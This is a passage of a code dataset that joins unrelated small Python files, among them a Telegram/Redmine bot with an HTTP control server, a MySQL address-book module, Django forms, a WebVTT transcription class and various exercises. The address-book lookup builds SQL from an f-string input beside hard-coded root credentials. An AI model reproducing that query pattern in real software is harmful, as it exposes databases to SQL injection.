ошибка:\\n{err}\")\n raise err\n\n\ndef process_command(commands, sc_bot, cfg_filename):\n c_reload = \"reload\"\n c_stop = \"stop\"\n c_start = \"start\"\n c_save = \"save\"\n c_notify = \"notify\"\n c_exit = \"exit\"\n if type(commands) is str:\n commands = [commands]\n for cmd in commands:\n print(\"cmd:\", cmd)\n if cmd == c_start:\n scbot.start()\n elif cmd == c_stop:\n scbot.stop()\n elif cmd == c_reload:\n config = load_json(cfg_filename)\n importlib.reload(sc)\n save_scenery_to_json(sc.scenery_source, config[\"scenery_path\"])\n scenery = load_json(config[\"scenery_path\"])\n importlib.reload(sar)\n api_realisation = sar.SceneryApiRealisation(templates=sar.ApiRealisationTemplates())\n if scbot.is_running:\n scbot.stop()\n scbot.reload(config=config, scenery=scenery, api_realisation=api_realisation)\n scbot.start()\n elif cmd == c_save:\n scbot.save()\n elif cmd == c_notify:\n scbot.notificating_routine()\n elif cmd == c_exit:\n if scbot.is_running:\n scbot.stop()\n raise KeyboardInterrupt\n else:\n raise ValueError(\"Command error. Try: stop start reload save\")\n\nclass JBCHandler(http.server.BaseHTTPRequestHandler):\n scbot = None\n cfg_filename = None\n\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n if scbot.is_running:\n self.wfile.write(b\"\"\"{\"response\":\"Bot is up and running.\",\"success\":true}\"\"\")\n else:\n self.wfile.write(b\"\"\"{\"response\":\"Bot is stopped.\",\"success\":true}\"\"\")\n\n def do_POST(self):\n # read the content-length header\n content_length = int(self.headers.get(\"Content-Length\"))\n # read that many bytes from the body of the request\n try:\n data = self.rfile.read(content_length).decode(\"ascii\")\n commands = json.loads(data)[\"commands\"]\n except Exception as error:\n self.send_response(400)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(bytes(f\"\"\"{{\"response\":\"{error}\",\"success\":false}}\"\"\", \"ascii\"))\n return\n try:\n process_command(commands, self.scbot, cfg_filename)\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(b\"\"\"{\"response\":\"Successfully passed commands to bot.\",\"success\":true}\"\"\")\n except KeyboardInterrupt as error:\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(bytes(f\"\"\"{{\"response\":\"Shutting down...\",\"success\":true}}\"\"\", \"ascii\"))\n raise error\n except Exception as error:\n self.send_response(500)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(bytes(f\"\"\"{{\"response\":\"{error}\",\"success\":false}}\"\"\", \"ascii\"))\n\nif __name__ == '__main__':\n run_interactive = False\n run_socket = False\n recompile_scenery = False\n token = \"\"\n redmine_token = \"\"\n tg_token_len = 46\n rm_token_len = 40\n cfg_filename = \"config.json\"\n\n if len(argv) > 1:\n for n, key in enumerate(argv):\n if \"-i\" == key:\n run_interactive = True\n elif \"-s\" == key:\n run_socket = True\n elif \"-r\" == key:\n recompile_scenery = True\n elif \"-t\" == key:\n try:\n token = argv[n + 1]\n except:\n print(\"Parameter -t requires argument.\")\n exit(1)\n elif \"-k\" == key:\n try:\n redmine_token = argv[n + 1]\n except:\n print(\"Parameter -k requires argument.\")\n exit(1)\n elif \"-c\" == key:\n try:\n cfg_filename = argv[n + 1]\n except:\n print(\"Parameter -c requires argument.\")\n exit(1)\n else:\n print(\"\"\"Simple keys:\n -i - interactive mode\n -r - force scenery recompile\n -s - socket mode (control via socket)\nKeys with args:\n -c CFG_FILE - configuration file in JSON format\n -t TG_TOKEN - Telegram API token\n -k RM_TOKEN - Redmine API token (is used to access enumerations)\n\"\"\")\n\n if len(token) != tg_token_len:\n print(f\"Telegram API token should be {tg_token_len} characters in length.\")\n exit(1)\n elif len(redmine_token) != rm_token_len:\n print(f\"Redmine API token should be {rm_token_len} characters in length.\")\n exit(1)\n\n if Path(cfg_filename).exists():\n config = load_json(cfg_filename)\n else:\n print(f\"Can't find config file. Please place it as '{cfg_filename}'\")\n exit(1)\n\n if recompile_scenery or not Path(config[\"scenery_path\"]).exists():\n save_scenery_to_json(sc.scenery_source, config[\"scenery_path\"])\n scenery = load_json(config[\"scenery_path\"])\n\n bot = Bot(token) # Create instance of OrigamiBot class\n\n api_realisation = sar.SceneryApiRealisation(templates=sar.ApiRealisationTemplates())\n scbot = RedmineBot(scenery, config, redmine_token, api_realisation=api_realisation) # Create instance of scenery bot\n\n # Add an event listener\n bot.add_listener(MessageListener(bot,scbot))\n # Add a command holder\n bot.add_commands(BotsCommands(bot, scbot))\n\n def handler(signum, frame):\n global scbot, bot\n scbot.save()\n if scbot.is_running:\n scbot.stop()\n raise KeyboardInterrupt\n signal.signal(signal.SIGINT, handler)\n\n bot.start() # start bot's threads\n scbot.start() # start bot's threads\n\n if run_interactive:\n while True:\n try:\n cmd = input(\">>\").strip()\n process_command(cmd, scbot)\n except Exception as error:\n print(error)\n elif run_socket:\n # VERY basic HTTP-JSON server\n HOST = config[\"address\"]\n PORT = config[\"port\"]\n JBCHandler.scbot = scbot # Know what, they will all reference the same bot :)\n JBCHandler.cfg_filename = cfg_filename\n httpd = http.server.HTTPServer((HOST, PORT,), JBCHandler)\n try:\n httpd.serve_forever()\n except KeyboardInterrupt:\n print(\"Shutting down.\")\n exit(0)\n else:\n while True:\n sleep(1)\n","repo_name":"Fe-Ti/ISCRAWebTTBot","sub_path":"bot/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":10117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71585540306","text":"import mysql.connector\nfrom mysql.connector import errorcode\nfrom model import AddressBook\n# from mysql.connector.cursor_cext import CMySQLCursor\n\nfrom mysql_connection import DBConnection\n\nconfig = {'host': '127.0.0.1',\n 'user': 'root',\n 'passwd': 'password',\n 'database': 'test_schema'}\n\n\nclass QueryDVCOMM:\n \"\"\"\n This class creates the connection and returns the connection object\n \"\"\"\n\n @staticmethod\n def query_addresse_by_id(aid):\n address_list = []\n with DBConnection(config) as cursor:\n query = (f'SELECT id, firstname, lastname, email FROM address_book where id = \"{aid}\" ')\n cursor.execute(query)\n for (id, firstname, lastname, email) in cursor:\n address_list.append(AddressBook(id=id, firstname=firstname, lastname=lastname, email=email))\n # print('ID : {}, {}, {}, {}'.format(id, firstname, lastname, email))\n\n return address_list[0]\n\n @staticmethod\n def query_addresses():\n address_list = []\n with DBConnection(config) as cursor:\n query = (\"SELECT id, firstname, lastname, email FROM address_book \")\n cursor.execute(query)\n for (id, firstname, lastname, email) in cursor:\n address_list.append(AddressBook(id=id, firstname = firstname, lastname =lastname, email =email))\n # print('ID : {}, {}, {}, {}'.format(id, firstname, lastname, email))\n\n return address_list\n\n @staticmethod\n def insert_addresses(id, first_name, last_name, email):\n try:\n with DBConnection(config) as cursor:\n statement = (\"INSERT INTO address_book (id, firstname, lastname, email) VALUES (%s, %s, %s, %s) \")\n cursor.execute(statement, (id, first_name, last_name, email))\n # cursor.execute(statement, (values))\n # for (id_, firstname, lastname, email) in cursor:\n # print('ID : {}, {}, {}, {}'.format(id_, firstname, lastname, email))\n return statement, (id, first_name, last_name, email)\n except Exception as e:\n return e\n\n\n# def endpoint1():\n# try:\n# dv_comm = QueryDVCOMM()\n# print('=============== Query from Address Book ====================')\n# dv_comm.query_addresses()\n# print('=============== Insert Record into Address Book ====================')\n# # values = [('PL36106', 'Ajay', 'Koonuru', '[\"ajay.koonuru@pnc.com\"]')]\n# # (dv_comm.generate_random_id(), 'Chandler', 'Long', '[\"Chandler.long@pnc.com\"]')]\n# dv_comm.insert_addresses('PL36106', 'Ajay', 'Koonuru', '[\"ajay.koonuru@pnc.com\"]')\n# print('=============== Query from Address Book ====================')\n# dv_comm.query_addresses()\n# print('=============== Closing Connection ====================')\n# except:\n# return {\"message\": \"Bye Worlds\"}\n#\n#\n# endpoint1()\n","repo_name":"code2solve-in/ankit-workspace","sub_path":"main/query_dvcomm_db.py","file_name":"query_dvcomm_db.py","file_ext":"py","file_size_in_byte":2971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21315515372","text":"class Solution:\n def lengthOfLongestSubstring(self, s: str) -> int:\n if len(s) == 1 or len(s) == 0 :return len(s)\n l,res=[],''\n for i in range(len(s)):\n res=s[i]\n flag=True\n for j in range(i+1,len(s)):\n if s[j] in res:\n flag=False\n l.append(len(res))\n break\n else:\n res+=s[j]\n if flag==True:\n l.append(len(res))\n return max(l)\n","repo_name":"AkRockBoy/Leetcode-Solutions","sub_path":"0003-longest-substring-without-repeating-characters/0003-longest-substring-without-repeating-characters.py","file_name":"0003-longest-substring-without-repeating-characters.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"19395831836","text":"\"\"\"Warps image to square top-down view given corner coordinates\nExpects grayscale image and corners in shape(4,2))\"\"\"\n\nimport numpy as np\nimport cv2\n\nTARGET_RES = 380 # 19x20 - goban is 19x19, patches will be 20x20\n\ndef sort_corners(corners):\n rect = np.zeros((4, 2), dtype=\"float32\")\n # the top-left point will have the smallest sum, whereas\n # the bottom-right point will have the largest sum\n s = np.sum(corners, axis=1)\n rect[0] = corners[np.argmin(s)]\n rect[2] = corners[np.argmax(s)]\n # now, compute the difference between the points, the\n # top-right point will have the smallest difference,\n # whereas the bottom-left will have the largest difference\n diff = np.diff(corners, axis=1)\n rect[1] = corners[np.argmin(diff)]\n rect[3] = corners[np.argmax(diff)]\n return rect\n\ndef warp(img, rect):\n target_corners = np.float32([[0, 0], [TARGET_RES, 0],\n [TARGET_RES, TARGET_RES], [0, TARGET_RES]])\n M = cv2.getPerspectiveTransform(rect, target_corners)\n warped = cv2.warpPerspective(img, M, (TARGET_RES, TARGET_RES))\n return warped\n\ndef top_down_view(img, corners):\n rect = sort_corners(corners)\n result = warp(img, rect)\n return result","repo_name":"irglbriz/goban_to_sgf","sub_path":"src/warp.py","file_name":"warp.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"29227841161","text":"def factorial ():\n num = int(input(\"Dame el numero al que quieras sacar el factorial: \"))\n factorial = []\n for i in range(1,20+1):\n numres = str(i) + \"!\"\n factorial.append(numres)\n print(factorial)\n\n mul = 1\n while num > 1:\n mul = num * mul\n num = num-1\n print(\"El FACT DE \", num, \" es: \", mul)\n\nfactorial()\n","repo_name":"SergiodeGrandchant/introprogramacion","sub_path":"general/ejercicio FACT.py","file_name":"ejercicio FACT.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39282240571","text":"from dataclasses import dataclass\nfrom typing import Tuple\n\nfrom src.parser.domain import _GroundedAction\n\n\n@dataclass\nclass PredicateNode:\n predicate: Tuple[str, str, str]\n\n def __post_init__(self):\n self.previous = set()\n self.next = set()\n self.level = 0\n\n def __repr__(self) -> str:\n params_str = \"\"\n for param in self.predicate[1:]:\n params_str += param\n params_str += \", \"\n params_str = params_str[:-2] # Remove last \", \"\n return f\"{self.predicate[0]}({params_str})\"\n\n def __hash__(self) -> int:\n return hash(self.predicate)\n\n\nclass GroundedActionNode(_GroundedAction):\n def __init__(self, action, *args, static_predicates=[]):\n super().__init__(action, *args, static_predicates=static_predicates)\n self.previous = set()\n self.next = set()\n\n\nclass NullActionNode:\n num: int = 0\n\n def __init__(self) -> None:\n self.previous = set()\n self.next = set()\n self.id = NullActionNode.num\n NullActionNode.num += 1\n\n def __repr__(self) -> str:\n return \"()\"\n\n def __hash__(self) -> int:\n return hash(self.id)\n","repo_name":"BASLER-Tristan/AIPlanning","sub_path":"src/graphplan/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70756465106","text":"# Erros\r\n # Excelente para testes\r\n # Não realiza o 'Stop' no programa\r\n # Mensagens customizadas quando encontra um erro\r\n\r\n# Criei uma lista com index de 0 a 2 porém solicitei o index 3 que não existe\r\n\r\ntry:\r\n letras = ['a', 'b', 'c']\r\n print(letras[3])\r\nexcept IndexError:\r\n print('Index não existe')","repo_name":"AlexDimas238/Python","sub_path":"Erros/try_Except_lista.py","file_name":"try_Except_lista.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34422814811","text":"from PyQt5.QtGui import QIcon, QFont\nfrom PyQt5.QtWidgets import QWidget, QLabel, QLineEdit, QPushButton, QVBoxLayout, \\\n QComboBox, QDateTimeEdit, QMessageBox\n\nfrom GestoreMagazzino.Model.Cocktail import Cocktail\nfrom GestoreMagazzino.Model.Magazzino import Magazzino\n\n\nclass VistaModificaCocktail(QWidget):\n def __init__(self, cocktail, callback, callback_modifica, parent=None):\n super(VistaModificaCocktail, self).__init__(parent)\n\n self.callback_modifica = callback_modifica\n self.callback = callback\n self.magazzino = Magazzino()\n self.cocktail = cocktail\n\n # Creazione dei widget\n label_top = QLabel(\"Modifica i dati del prodotto:\", self)\n label_nome = QLabel(\"NOME:\", self)\n label_prezzo = QLabel(\"PREZZO:\", self)\n\n self.line_edit_nome = QLineEdit(self)\n self.line_edit_prezzo = QLineEdit(self)\n\n button_conferma = QPushButton(\"Conferma\", self)\n button_conferma.clicked.connect(self.modifica_cocktail)\n\n self.setWindowIcon(QIcon('Dati/DigitalDisco.png'))\n self.setWindowTitle('Modifica Cocktail')\n #self.setFixedSize(400, 600) # Imposta la dimensione fissa della finestra di dialogo\n label_top.setFixedSize(300, 30) # Imposta la dimensione fissa della label superiore\n\n # Inizializza i campi con i valori attuali del cocktail\n self.line_edit_nome.setText(self.cocktail.nome)\n self.line_edit_prezzo.setText(str(self.cocktail.prezzo))\n\n # Layout\n layout = QVBoxLayout(self)\n layout.addWidget(label_top)\n layout.addWidget(label_nome)\n layout.addWidget(self.line_edit_nome)\n layout.addWidget(label_prezzo)\n layout.addWidget(self.line_edit_prezzo)\n layout.addWidget(button_conferma)\n\n self.setLayout(layout)\n\n def modifica_cocktail(self):\n # Ottenere i valori inseriti dall'utente\n nome = self.line_edit_nome.text().strip()\n prezzo = self.line_edit_prezzo.text().strip()\n\n if not nome or not prezzo:\n QMessageBox.warning(self, \"Errore\", \"Tutti i campi devono essere compilati.\")\n return\n\n try:\n prezzo = int(prezzo)\n except ValueError:\n QMessageBox.warning(self, \"Errore\", \"Il prezzo dev'essere scritto in numero.\")\n return\n\n self.cocktail.nome = nome\n self.cocktail.prezzo = prezzo\n\n cocktail_modificato = Cocktail(nome, prezzo)\n\n self.callback_modifica()\n self.callback(self.cocktail, cocktail_modificato)\n self.close()\n","repo_name":"ClaudioSabrija/DigitalDisco","sub_path":"GestoreMagazzino/View/VistaModificaCocktail.py","file_name":"VistaModificaCocktail.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"it","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"28026382175","text":"from pytrace.entity import Entity\n\nclass Light(Entity):\n _num_lights=1\n \n def __init__(self, pos, color, intensity=1.0, name=None):\n if name is None:\n name = \"Light %d\" % Light._num_lights\n Entity.__init__(self, name)\n Light._num_lights += 1\n self.pos = pos\n self.color = color\n self.intensity = intensity\n \n def __str__(self):\n return \"Light(pos=%s, color=%s, intensity=%.2f name='%s')\" % \\\n (self.pos, self.color, self.intensity, self.name)\n","repo_name":"fictorial/simple-raytracer","sub_path":"pytrace/light.py","file_name":"light.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"27518870716","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport io\nimport json\nimport logging\nimport re\nfrom pathlib import Path\nfrom typing import Dict, List, Union\n\nimport requests\n\nimport nltk\nimport truecase\nimport webvtt\n\nfrom . import constants\nfrom .sr_model import SRModel, SRModelOutputs\n\n###############################################################################\n\nlog = logging.getLogger(__name__)\n\n###############################################################################\n\n\nclass WebVTTSRModel(SRModel):\n def __init__(self, new_turn_pattern: str, confidence: float = 1, **kwargs):\n # Download punkt for truecase module\n nltk.download(\"punkt\")\n # New speaker turn must begin with one or more new_turn_pattern str\n self.new_turn_pattern = r\"({})+\\s*(.+)$\".format(new_turn_pattern)\n # Sentence must be ended by period, question mark, or exclamation point.\n self.end_of_sentence_pattern = r\"^.+[.?!]\\s*$\"\n\n # Confidence is tricky. We allow it to be a parameter because closed captions\n # aren't always 100% accurate. For Seattle, I would guess they are about 97%\n # accurate.\n # Maybe something todo in the future is actually compute their accuracy.\n self.confidence = confidence\n\n def _normalize_text(self, text: str) -> str:\n normalized_text = truecase.get_true_case(text)\n # Fix some punctuation issue, e.g. `roughly$ 19` bececomes `roughly $19`\n normalized_text = re.sub(\n r\"([#$(<[{]) \", lambda x: f\" {x.group(1)}\", normalized_text\n )\n return normalized_text\n\n def _request_caption_content(self, file_uri: str) -> str:\n # Get the content of file_uri\n response = requests.get(file_uri)\n response.raise_for_status()\n return response.text\n\n def _get_captions(\n self, closed_caption_content: str\n ) -> List[webvtt.structures.Caption]:\n # Create file-like object of caption file's content\n buffer = io.StringIO(closed_caption_content)\n # Get list of caption blocks\n captions = webvtt.read_buffer(buffer).captions\n buffer.close()\n return captions\n\n def _get_speaker_turns(\n self, captions: List[webvtt.structures.Caption]\n ) -> List[List[webvtt.structures.Caption]]:\n # Create list of speaker turns\n speaker_turns = []\n # List of captions of a speaker turn\n speaker_turn = []\n for caption in captions:\n new_turn_search = re.search(self.new_turn_pattern, caption.text)\n # Caption block is start of a new speaker turn\n if new_turn_search:\n # Remove the new speaker turn pattern from caption's text\n caption.text = new_turn_search.group(2)\n # Append speaker turn to list of speaker turns\n if speaker_turn:\n speaker_turns.append(speaker_turn)\n # Reset speaker_turn with this caption, for start of a new speaker turn\n speaker_turn = [caption]\n # Caption block is not a start of a new speaker turn\n else:\n # Append caption to current speaker turn\n speaker_turn.append(caption)\n # Add the last speaker turn\n if speaker_turn:\n speaker_turns.append(speaker_turn)\n return speaker_turns\n\n def _get_sentences(\n self, speaker_turn: List[webvtt.structures.Caption]\n ) -> List[Dict[str, Union[str, float]]]:\n # Create timestamped sentences\n sentences = []\n # List of text, representing a sentence\n lines = []\n start_time = 0\n for caption in speaker_turn:\n start_time = start_time or caption.start_in_seconds\n lines.append(caption.text)\n end_sentence_search = re.search(self.end_of_sentence_pattern, caption.text)\n # Caption block is a end of sentence block\n if end_sentence_search:\n sentence = {\n \"start_time\": start_time,\n \"end_time\": caption.end_in_seconds,\n \"text\": \" \".join(lines),\n }\n sentences.append(sentence)\n # Reset lines and start_time, for start of new sentence\n lines = []\n start_time = 0\n\n # If any leftovers in lines, add a sentence for that.\n if lines:\n sentences.append(\n {\n \"start_time\": start_time,\n \"end_time\": speaker_turn[-1].end_in_seconds,\n \"text\": \" \".join(lines),\n }\n )\n return sentences\n\n def _create_timestamped_speaker_turns(\n self, speaker_turns: List[List[webvtt.structures.Caption]]\n ) -> List[Dict[str, Union[str, List[Dict[str, Union[str, float]]]]]]:\n timestamped_speaker_turns = []\n for speaker_turn in speaker_turns:\n # Get timestamped sentences for a speaker turn\n sentences = self._get_sentences(speaker_turn)\n timestamped_speaker_turns.append({\"speaker\": \"\", \"data\": sentences})\n return timestamped_speaker_turns\n\n def transcribe(\n self,\n file_uri: Union[str, Path],\n raw_transcript_save_path: Union[str, Path],\n timestamped_sentences_save_path: Union[str, Path],\n timestamped_speaker_turns_save_path: Union[str, Path],\n **kwargs,\n ) -> SRModelOutputs:\n # Check paths\n raw_transcript_save_path = Path(raw_transcript_save_path).resolve()\n timestamped_sentences_save_path = Path(\n timestamped_sentences_save_path\n ).resolve()\n timestamped_speaker_turns_save_path = Path(\n timestamped_speaker_turns_save_path\n ).resolve()\n\n # Get content of file uri\n closed_caption_content = self._request_caption_content(file_uri)\n # Get list of caption blocks from closed caption file\n captions = self._get_captions(closed_caption_content)\n # Convert list of caption blocks to list of speaker turns\n speaker_turns = self._get_speaker_turns(captions)\n # Create timestamped speaker turns transcript\n timestamped_speaker_turns = self._create_timestamped_speaker_turns(\n speaker_turns\n )\n # Normalized the text of transcript\n for speaker_turn in timestamped_speaker_turns:\n for sentence in speaker_turn[\"data\"]:\n normalized_sentence_text = self._normalize_text(sentence[\"text\"])\n sentence[\"text\"] = normalized_sentence_text\n\n # Create raw transcript\n raw_text = \" \".join(\n [\n sentence[\"text\"]\n for turn in timestamped_speaker_turns\n for sentence in turn[\"data\"]\n ]\n )\n raw_transcript = [\n {\n \"start_time\": timestamped_speaker_turns[0][\"data\"][0][\"start_time\"],\n \"end_time\": timestamped_speaker_turns[-1][\"data\"][-1][\"end_time\"],\n \"text\": raw_text,\n }\n ]\n\n # Create timestamped sentences transcript\n timestamped_sentences = [\n sentence for turn in timestamped_speaker_turns for sentence in turn[\"data\"]\n ]\n\n # Log completed\n log.info(\n f\"Completed transcription for: {file_uri}. Confidence: {self.confidence}\"\n )\n # Wrap each transcript in the standard format\n raw_transcript = self.wrap_and_format_transcript_data(\n data=raw_transcript,\n transcript_format=constants.TranscriptFormats.raw,\n confidence=self.confidence,\n )\n\n timestamped_sentences = self.wrap_and_format_transcript_data(\n data=timestamped_sentences,\n transcript_format=constants.TranscriptFormats.timestamped_sentences,\n confidence=self.confidence,\n )\n\n timestamped_speaker_turns = self.wrap_and_format_transcript_data(\n data=timestamped_speaker_turns,\n transcript_format=constants.TranscriptFormats.timestamped_speaker_turns,\n confidence=self.confidence,\n )\n\n # Write files\n with open(raw_transcript_save_path, \"w\") as write_out:\n json.dump(raw_transcript, write_out)\n\n with open(timestamped_sentences_save_path, \"w\") as write_out:\n json.dump(timestamped_sentences, write_out)\n\n with open(timestamped_speaker_turns_save_path, \"w\") as write_out:\n json.dump(timestamped_speaker_turns, write_out)\n\n # Return the save path\n return SRModelOutputs(\n raw_path=raw_transcript_save_path,\n confidence=self.confidence,\n timestamped_sentences_path=timestamped_sentences_save_path,\n timestamped_speaker_turns_path=timestamped_speaker_turns_save_path,\n )\n","repo_name":"CouncilDataProject/cdptools_v2","sub_path":"cdptools/sr_models/webvtt_sr_model.py","file_name":"webvtt_sr_model.py","file_ext":"py","file_size_in_byte":8908,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"72673755667","text":"import streamlit as st\nfrom predictor import predict\n\nfooter = \"\"\"\n\n\"\"\"\nst.markdown(footer, unsafe_allow_html=True)\n\n\n\nst.title('Cat Breed Classifier')\n\nupload_image = st.file_uploader(\"Upload your cat's image:\", type=['jpg', 'jpeg', 'png'])\nif upload_image is not None:\n predictions = predict(upload_image)\n\n st.write('## Meow!! Here are the top 3 predictions:')\n for prediction in predictions: \n st.write(f\"{prediction['label']} - {prediction['proba']:.2f}%\")\n\n st.warning(\n \"\"\"\n The classifier has been trained only on 12 common breeds (listed below), wrong prediction or weak confidence\\\n in a prediction is maybe due the model not being trained on that specific breed.\n\n The breeds trained are: Abyssinian, Bengal, Birman, Bombay, British Shorthair,\n Egyptian Mau, Maine Coon, Persian, Ragdoll, Russian Blue,\n Siamese, and Sphynx.\n \"\"\"\n )","repo_name":"default-303/catBreedClassifier","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28002965661","text":"from .models import Usuarios, Cuenta, Retiro, Depositos, Transferencia, HistorialTransferencia\r\nfrom django import forms\r\n\r\n\r\n\r\nclass RegistroForm(forms.ModelForm):\r\n\r\n class Meta:\r\n model = Usuarios\r\n fields = '__all__'\r\n widgets = {\r\n 'fecha_nacimiento': forms.TextInput(\r\n attrs = {\r\n 'type': \"date\",\r\n }\r\n ),\r\n 'contraseña': forms.PasswordInput(\r\n attrs={\r\n 'type': 'password',\r\n }\r\n ), \r\n 'contraseña_val': forms.PasswordInput(\r\n attrs={\r\n 'type': 'password',\r\n }\r\n ), \r\n }\r\n\r\nclass CuentaForm(forms.ModelForm):\r\n \r\n class Meta:\r\n model = Cuenta\r\n fields = [\r\n \"num_cuenta\", \r\n \"fondos\", \r\n ] \r\n labels = {\r\n 'num_cuenta': 'Numero de Cuenta',\r\n 'fondos': 'Fondo',\r\n }\r\n\r\nclass RetiroForm(forms.ModelForm):\r\n \r\n class Meta:\r\n model = Retiro\r\n fields = [\r\n \"num_cuenta\", \r\n \"banco\", \r\n \"monto\", \r\n \"nomtitular\",\r\n ] \r\n labels = {\r\n 'num_cuenta': 'Numero de Cuenta', \r\n 'banco': 'Tipo de Banco',\r\n 'monto': 'Monto',\r\n 'nomtitular': 'Nombre de Titular',\r\n }\r\n banco = (('bcp','BCP'),('interbank','Interbank'),('bbva','BBVA'),('scotiabank','SCOTIABANK'))\r\n \r\n widgets = {\r\n \r\n 'banco': forms.RadioSelect(choices=banco,attrs={\r\n \r\n }),\r\n 'monto': forms.NumberInput(attrs={'min': '0'}), \r\n } \r\n\r\nclass DepositoForm(forms.ModelForm):\r\n \r\n class Meta:\r\n model = Depositos\r\n fields = [\r\n \"monto\", \r\n \"banco\", \r\n \"num_cuenta\", \r\n \"nomtitular\", \r\n ] \r\n labels = {\r\n 'monto': 'Monto', \r\n 'banco': 'Tipo de Banco', \r\n 'num_cuenta': 'Numero de Cuenta',\r\n 'nomtitular': 'Nombre de Titular',\r\n }\r\n \r\n banco = (('bcp','BCP'),('interbank','Interbank'),('bbva','BBVA'),('scotiabank','SCOTIABANK'))\r\n \r\n widgets = {\r\n \r\n 'banco': forms.RadioSelect(choices=banco,attrs={\r\n \r\n }),\r\n 'monto': forms.NumberInput(attrs={'min': '0'}), \r\n }\r\n\r\n\r\nclass TransForms(forms.ModelForm):\r\n class Meta:\r\n model = Transferencia\r\n fields = ('num_cuenta','nom_cuenta', 'dni','monto', 'validacion','tipo_trans')\r\n # widgets = {\r\n # 'num_cuenta': forms.Select(attrs={\r\n # # 'disabled': True,\r\n # # 'style': \"display:none\"\r\n \r\n # }),\r\n # 'nom_cuenta': forms.TextInput(attrs={\r\n # 'style': \"width:100%, border:5px\",\r\n # 'type': 'date',\r\n # })\r\n # # 'num_cuenta': forms.HiddenInput(),\r\n # }\r\n# class UsuariosForms(forms.ModelForm):\r\n# class Meta:\r\n# model = Usuarios\r\n# fields = '__all__'\r\n\r\n\r\n '''Registro labels = { 'nombre': 'Nombre:' ,\r\n 'apellido': 'Apellidos:' , \r\n 'sexo': 'Sexo:' , \r\n 'fchnaci': 'Fecha de Nacimiento:', \r\n 'correo': 'Correo Electronico:', \r\n 'contraseña': 'Contraseña:',\r\n 'contraseraval': 'Confirmar Contraseña:' ,\r\n 'condicionesval': 'Acepto Terminos y Condiciones:',\r\n 'tipo_documento': 'Tipo de Documento:' ,\r\n 'nro_documento': 'Nro. de Documento:' ,\r\n 'telefono': 'Teléfono:' ,\r\n 'dirrecion': 'Dirección:',\r\n 'nro_cuenta': 'Numero de Cuenta:',\r\n }\r\n Genero=[('M','Masculino'),('F','Femenino'),('NE','No especificar')]\r\n TipoDocumento=[('DNI','Documento de Identidad'),('VISA','Visa de Extranjeria'),('Pasaporte','Pasaporte')] \r\n widgets = {\r\n 'nombre': forms.TextInput(attrs={\r\n 'style': \"width:30%\",\r\n }),\r\n 'apellido': forms.TextInput(attrs={\r\n 'style': \"width:30%\",\r\n }),\r\n 'sexo': forms.RadioSelect(choices=Genero,attrs={\r\n 'style': 'style-list:none',\r\n }),\r\n 'fchnaci': forms.DateInput(attrs={\r\n 'type': 'date',\r\n }),\r\n 'correo': forms.EmailInput(attrs={\r\n 'type': 'email',\r\n 'style': \"width:30%\",\r\n }),\r\n 'contraseña': forms.PasswordInput(attrs={\r\n 'type': 'password',\r\n 'style': \"width:20%\",\r\n }), \r\n 'contraseraval': forms.PasswordInput(attrs={\r\n 'type': 'password',\r\n 'style': \"width:20%\",\r\n }), \r\n 'tipo_documento': forms.Select(choices=TipoDocumento,attrs={\r\n }),\r\n 'nro_documento': forms.TextInput(attrs={\r\n 'style': \"width:30%\",\r\n }),\r\n 'telefono': forms.TextInput(attrs={\r\n 'style': \"width:30%\",\r\n }),\r\n 'dirrecion': forms.TextInput(attrs={\r\n 'style': \"width:30%\",\r\n }),\r\n 'nro_cuenta': forms.TextInput(attrs={\r\n 'style': \"width:30%\",\r\n }),\r\n 'condicionesval': forms.CheckboxInput(attrs={\r\n 'type': 'checkbox',\r\n }),\r\n }\r\n'''","repo_name":"IBGroup2021/eWalletRepository","sub_path":"eWalletRepository/eWallet/aplicaciones/principal/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":5923,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20586017021","text":"'''\nA python implementation of the geometric attraction-driven flow\nby Seongeun Kim, CMI Lab., KAIST. \n\nReference.\nHahn, Jooyoung, and Chang-Ock Lee.\n\"Geometric attraction-driven flow for image segmentation and boundary detection.\"\nJournal of Visual Communication and Image Representation 21.1 (2010): 56-66.\nhttps://doi.org/10.1016/j.jvcir.2009.10.005\n\nLast update: 2022-10-24\n'''\nimport cv2\nimport numpy as np\nfrom skimage.measure import label\n\n\nclass GADF():\n eps = np.finfo(float).eps\n\n def __init__(self, img, sig=None, epsilon=1, refine_er=False):\n '''\n inputs\n -----\n img: color or gray scale image \\n\n sig: variance for gaussian kernel \\n\n 